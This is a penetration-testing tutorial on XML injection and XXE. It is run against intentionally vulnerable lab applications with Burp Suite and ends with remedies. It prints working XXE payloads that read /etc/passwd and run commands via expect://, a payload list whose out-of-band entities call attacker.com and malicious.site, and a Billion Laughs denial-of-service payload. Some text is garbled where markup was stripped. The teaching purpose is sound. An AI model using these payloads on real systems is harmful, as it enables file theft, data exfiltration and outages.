When performing a penetration test (pen test) on an application, especially one where the functionality relies on XML parsing in the backend, it’s standard procedure to check for XML injection issues. Typically, a pen tester would first use an XML parser (a software library or program that reads XML and provides access to its content and structure) to ensure that the client application’s XML document is properly formatted and to validate its content. Before attempting to exploit any application with XML injection issues, this usage of XML parsers is a normal preliminary step.
This type of XML injection can cause medium to severe kind of damages to the application. It has the potential to alter the intended logic of the application. That is precisely why it is referred to as unintended XML injection — it forces the application to process data in a way the developers did not anticipate.
As a pen tester, when examining a web application, the goal is to test its resilience by attempting to insert XML metacharacters (special characters like <, >, ', ", and &) to modify the structure of the resulting XML document.
Furthermore, depending on the code used, it is possible to interfere with the application’s logic, potentially performing unauthorized actions or accessing sensitive data. Moreover, reviewing the application’s response is crucial to determine whether it is indeed vulnerable to this attack.
The following sections will describe practical examples of XML injection. Before diving into the virtual lab, it is important to first understand a few key concepts: what XML is, why it is necessary, and what a DTD (Document Type Definition) is. A clear understanding of how keywords and entities play a vital role in any XML injection attack is also essential.
What Is XML?
XML is a foundational technology in data handling, characterized by its design and utility:
First of all, XML is a software- and hardware-independent language for storing and transporting data.
Second, XML stands for eXtensible Markup Language and is structurally similar to HTML (HyperText Markup Language).
Third, XML was designed to be self-descriptive. This allows you to design the structure according to your necessity.
Finally, you need to define both the tags and the document structure in a way that is meaningful, much like designing a database table and its fields, because you will find that XML is conceptually similar to a database structure.
The next big question is why we need XML. Instead of using a database, why should an XML document be used? The biggest advantage of XML is that it’s software and hardware independent. An XML document stores data in plain text, which makes things much easier, thereby simplifying the process of storing and transporting data.
Let us see a simple example of XML data:
<email>
<to>Bob</to>
<from>John</from>
<message>Hello, Bob.</message>
</email>
Here, is an element. Inside the element, there are more elements, such as , , and . You can add as many elements as you wish.
This structure is similar to a table in a database where you create a table called email. Inside the email table, you would have fields called to, from, and so on. Of course, you can write the same data structure in JSON (JavaScript Object Notation), like this:
{
"to": "Bob",
"from": "John",
"message": "Hello, Bob"
}
As a data transporter and storage facility, JSON is quickly overtaking XML in popularity. However, you will still find the usage of XML in many web applications because it was a popular standard for many years.
What Is a DTD?
A Document Type Definition (DTD) defines the legal elements and attributes of an XML document. With a DTD, developers can agree on a standard data structure for storing and transporting data.
Furthermore, an application can use a DTD to verify whether an XML document is properly formatted or not. It will also check whether the XML data is defined internally within the XML document or from an external source like a URI (Uniform Resource Identifier) or URL (Uniform Resource Locator). DTDs allow us to define what will be the keywords and entities in an XML document. Thus, the XML vulnerabilities test can be done by injecting new keywords and entities.
We can declare a DTD inside the previous email XML example like this:
<!DOCTYPE email [
]>
<email>
<to>Bob</to>
<from>John</from>
<message>Hello, Bob.</message>
</email>
Now, if you parse this XML file and view the source, you will find that the second and the third lines (the DTD declaration) will be commented out, and only the XML version and the element portions remain visible. This specific declaration method is called an internal DTD.
What Is XML External Entity (XXE) Injection?
XML injection is often similar to XXE injection. XXE stands for XML eXternal Entity. XXE allows an attacker to interact with an application’s processing of XML data. Through XXE injection, it is possible to view the server file system; one can interfere in any back-end processing; and furthermore, an attacker can target any external systems that the application itself can access.
In many cases, applications use the XML format to transmit data between the browser and the server. While doing this, the server typically uses a standard library or platform API to process the XML data. The application owner often has no direct control over those standard libraries or platform APIs, where potentially dangerous features may lie hidden (like support for external entities).
Although DTD plays a vital role in defining the XML formatting, it has no control over the XML external entities, because they are types of custom XML entities that are loaded from outside of the DTD definition (e.g., from a local file or a remote URI).
As a pen tester, you will find external entities very interesting because you can define an entity of the XML data based on the contents of a file path or URL.
The following section will demonstrate an example of such external entities where code will be validated to retrieve all the passwords of a system, a crucial demonstration of a successful XXE attack.
Performing XML Injection in a Virtual Lab
To begin the practical example, start the owaspbwa (OWASP Broken Web Application) application in the virtual lab and open the mutillidae intentionally vulnerable web application. In the validation field, the following code is inserted:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:/// etc/passwd">
]>
&xxe;
This injection will yield an output similar to this:
//XML Submitted
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file: ///etc/passwd">
]>&xxe;
//Text Content Parsed From XML
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/
sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/
bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/
usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/
sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/
var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/
bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing
List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/
ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/
nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/
sh syslog:x:101:102::/home/syslog:/bin/false klog:x:102:103::/
home/klog:/bin/false mysql:x:103:105:MySQL Server,,,:/
var/lib/mysql:/bin/false landscape:x:104:122::/var/lib/
landscape:/bin/false sshd:x:105:65534::/var/run/sshd:/usr/
sbin/nologin postgres:x:106:109:PostgreSQL administrator,,,:/
var/lib/postgresql:/bin/bash messagebus:x:107:114::/var/run/
dbus:/bin/false tomcat6:x:108:115::/usr/share/tomcat6:/bin/
false user:x:1000:1000:user,,,:/home/user:/bin/bash polkit
user:x:109:118:PolicyKit,,,:/var/run/PolicyKit:/bin/false
haldaemon:x:110:119:Hardware abstraction layer,,,:/var/run/
hald:/bin/false pulse:x:111:120:PulseAudio daemon,,,:/var/run/
pulse:/bin/false postfix:x:112:123::/var/spool/postfix:/bin/
false
As clearly seen, XML external entities were easily injected into the intentionally vulnerable application mutillidae.
<!ENTITY xxe SYSTEM "file:///etc/passwd"> &xxe;
Here, the external entity name xxe was used, and the SYSTEM keyword was also used. The SYSTEM keyword instructs the XML parser to load the entity’s value from the specified external source, which in this case is the local file path /etc/passwd. In the second line, where the value of the XML data was supposed to be defined, the entity name &xxe; was used, which causes the parser to display the contents of the /etc/passwd file.
Here, &xxe was used as a custom XML entity whose defined values are loaded from outside of the DTD (Document Type Definition). The mutillidae application uses the XML format to transmit data between the browser and the server. As a penetration tester, you may encounter such applications where the XML specification contains various potentially dangerous features like this. The standard parsers support these features even if they are not normally used by the application, which creates the vulnerability.
XXE Injection using bWAPP and Burp Suite
Another intentionally vulnerable application, bWAPP (Buggy Web Application), can also be examined using the Burp Suite tool. Open bWAPP and select the XXE attack section. To begin, register as a user in the bWAPP Missing Function application. This is necessary so that the Burp Suite Repeater tool can be used to inject the external entities, just as was done in the mutillidae application. In Burp Suite, keep the Intercept in off mode initially, and open bWAPP. Next, turn the Burp Suite Intercept tool to “on” and in the bWAPP application, click the “Any bugs?” button.
In Burp Suite, an output similar to this is captured:
POST / bWAPP/ xxe-2. php HTTP/1.1
Host: 192.168.2.3
User-Agent: Mozilla/ 5.0 (X11; Linux x86_64; rv:60.0)
Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.3/ bWAPP/ xxe-1. php
Content-type: text/xml; charset=UTF-8
Content-Length: 61
Cookie: security_level=2; PHPSESSID=fjilqqjim5kuqn7t7v
7khqgue4; acopendivids=swingset,jotto,phpbb2,redmine;
acgroupswithpersist=nada
Connection: close
<bug><user>Lokhu</user><details>Any bugs?</details></bug>
The last line captures the login detail where the username “Lokhu” was used (any name can be used).
Next, right-click on the Burp Suite interface and send the raw request to the Repeater tool. After sending the request, click the Go button. This sends the request to the bWAPP application, and the response is similar to this:
The next step is to insert an XML injection into the request captured in code 8.4. The last part of the code is changed to inject an XML entity:
POST / bWAPP / xxe-2. php HTTP/1.1
Host: 192.168.2.3
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0)
Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.3/bWAPP / xxe-1. php
Content-type: text/xml; charset=UTF-8
Content-Length: 61
Cookie: security_level=2; PHPSESSID=fjilqqjim5kuqn7t7v
7khqgue4; acopendivids=swingset,jotto,phpbb2,redmine;
acgroupswithpersist=nada
Connection: close
<bug>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<user>&xxe;</user>
<details>Any bugs?</details>
</bug>
Alternatively, to get the detail of the entire file system settings, the following code structure can be used:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file: ///etc/passwd"> ]>&xxe;
As observed, the same entity xxe and the SYSTEM keyword have been used for the explicit purpose of retrieving data from the server system.
The output will be the same as the one seen in code 8.2 (the contents of /etc/passwd). Since bWAPP is an XML injectable application, the XML injection is successfully loaded from outside.
Fetching System Configuration Files with Burp Intruder
The process of fetching system configuration files can be made more systematic by using Burp Suite’s Intruder tool against the intentionally vulnerable application mutillidae.
To test whether the web application has XML injection vulnerabilities:
Keep the Burp Intercept in off mode and open mutillidae first.
Turn on the Intercept tool of Burp Suite.
In the Validate field of mutillidae, enter the value idnf. Since Intercept is on, the request is captured. The application mutillidae uses keywords for searching the system configuration files, and idnf is one such keyword. (If you go through mutillidae documentation, available by clicking the “Hints” button on the top of the page, you will find these tips.) This keyword will help identify the particular XML segment that will be injected through the Burp Suite Intruder tool.
The output captured in Burp Suite is shown in code 8.7:
GET / mutillidae/ index. php?page=xml-validator. php&xml=idnf&xmlvalidator-php-submit-button=Validate+XML HTTP/1.1
Host: 192.168.2.3
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0)
Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/
xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.3/mutillidae/ index .php?page=xmlvalidator.php&xml=%3Csomexml%3E%3Cmessage%3EHello+World%3
C%2Fmessage%3E%3C%2Fsomexml%3E+&xml-validator-php-submitbutton=Validate+XML
Cookie: showhints=1; PHPSESSID=qaobudj106cmtfd0uepm
ei7la6; acopendivids=swingset,jotto,phpbb2,redmine;
acgroupswithpersist=nada
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
The output is quite straightforward. Mutillidae sends the request using the GET method. Instead of the POST method, it uses GET because this application is intentionally vulnerable and uses parameters in the URL.
Configuring the Intruder Payload
Now, the captured request is sent to the Intruder tool by right-clicking and selecting “Send to Intruder”. Once the Intruder tool receives this output, it automatically changes the output to identify potential payload positions by adding section delimiters (the § symbol):
The output in Intruder is similar to this:
//using Intruder tool of Burp Suite
GET / mutillidae/ index .php?page=§xml-validator. php§&xml=§idnf§
&xml-validator-php-submit-button=§Validate+XML§ HTTP/1.1
Host: 192.168.2.3
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/
20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;
q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.3 /mutillidae /index .php?page=xmlvalidator.php&xml=%3Csomexml%3E%3Cmessage%3EHello+World%3
C%2Fmessage%3E%3C%2Fsomexml%3E+&xml-validator-php-submitbutton=Validate+XML
Cookie: showhints=§1§; PHPSESSID=§qaobudj106cmtfd0uepm
ei7la6§; acopendivids=§swingset,jotto,phpbb2,redmine§;
acgroupswithpersist=§nada§
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Observe the first line:
GET /mutillidae / index. php?page=§xml -validator .php§&xml=§idnf§&xml-validator- php-submit-button=§Validate+XML§ HTTP/1.1
The Intruder has automatically added extra special characters (§) to the GET request parameters. These delimiters are used to define the boundaries of potential payloads. The Intruder has an internal mechanism of custom permutation to generate such characters and highlight sections.
It is necessary to clear these automatically detected positions first. On the right-hand side of the Intruder tool interface, four buttons will be visible: Add, Clear, Auto, and Refresh. Clear must be clicked, and after that, only the word idnf must be manually selected and added as the only payload position.
Therefore, the output changes to this (with only idnf enclosed by §):
GET /mutillidae/ index .php?page=xml-validator. php&xml=§idnf§&
xml-validator-php-submit-button=Validate+XML HTTP/1.1
Host: 192.168.2.3
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0)
Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;
q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.3/mutillidae /index .php?page=xmlvalidator.php&xml=%3Csomexml%3E%3Cmessage%3EHello+World%3
C%2Fmessage%3E%3C%2Fsomexml%3E+&xml-validator-php-submitbutton=Validate+XML
Cookie: showhints=1; PHPSESSID=qaobudj106cmtfd0uepmei7la6; acope
ndivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Loading and Launching the XXE Attack
Next, the Payloads sets of the Intruder tool are used. The specific XML file containing various external entities must be loaded for XXE injection. In the Intruder tool, click on Payloads. This will open a window to configure the payload list.
From the Payload Options, click the Load button. This opens a window to load the XML file where all the XXE injection code has been written.
The file, named xml-attacks.txt, is shown below, containing a collection of XXE injection codes. You can add more entities to make this payload more agile and robust to retrieve more types of system data, or to manipulate the internal logic of the application. A very good free resource for such payloads is GitHub: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection.
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>&xxe;
<!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///c:/boot.ini"> ]>&xxe;
<!DOCTYPE data [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> ]>&xxe;
<!DOCTYPE data [<!ENTITY xxe SYSTEM "expect://ls"> ]>&xxe;
<!DOCTYPE data [<!ENTITY % dtd SYSTEM "http://malicious.site/evil.dtd"> %dtd;%payload;]>
<!DOCTYPE foo [
<!ENTITY % param1 "<!ENTITY % external SYSTEM 'http://attacker.com/'>">
%param1;
]>
<!DOCTYPE data [<!ENTITY xxe "Hello World"> ]>&xxe;
<!DOCTYPE foo [ <!ENTITY xxe "XXS"> ]>&xxe;
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
%xxe;
]>
<foo>...</foo>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://external -site .com" >
%xxe;
]>
<foo>...</foo>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY vuln "<!ENTITY xxe 'foo' >" >
%xxe;
%vuln;
]>
<foo>...</foo>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http:// example.com/file. dtd" >
%xxe;
]>
<foo>...</foo>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:/ //etc/passwd">
]>
<root>&xxe;</root>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/boot.ini">
]>
<root>&xxe;</root>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "file:/ //etc/passwd"> %xxe; ]>
<root>&xxe;</root>
After selecting this file, it is loaded into the Intruder tool. Once loaded, the Intruder attack can be launched.
Analyzing the Attack Results
Once the attack has started, it begins examining all the XML external entities code. This process may take some time. After a few minutes, the Payload Length column can be sorted to select the highest value retrieved so far. A larger length often indicates that the application successfully parsed the payload and returned the content of a file (like /etc/passwd).
After clicking the row with the largest value, the request that was sent to the mutillidae application can be viewed:
The corresponding response can be checked by clicking the Response tab.
The result is then viewed in the mutillidae application itself to see how the XXE injection has rendered the output.
The payload that can cause application issues is an exponential entity expansion, sometimes called a “Billion Laughs” attack:
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
This can stop any application by hanging it using an infinite loop that loads all types of random data, causing the payload to take a long time to process or crash the server.
Viewing the rendered figure of the application mutillidae shows that it has taken the first XXE injection code from the file and rendered all the passwords of the system:
This gives the same output as seen before in code 8.2. Therefore, to summarize the successful outcome:
XML Submitted
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>&xxe;
Text Content Parsed From XML
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/
sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/
bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/
usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/
bin/sh .....
Since this XXE injection code was written at the top of the xml-attacks.txt file, it rendered first. Other injection vectors can also be tested to see the output.
Suggested Remedies
As a pen tester, you can suggest a few remedies to your client to mitigate this vulnerability:
Disable support for DTDs and XML external entities in the XML parser configuration, which is the most effective defense against XXE attacks.
The application should validate or sanitize user input before incorporating it into an XML document.
It is also good practice to block any input containing XML metacharacters such as < and >.
These characters can be replaced with the corresponding entities: > (for >) and < (for <).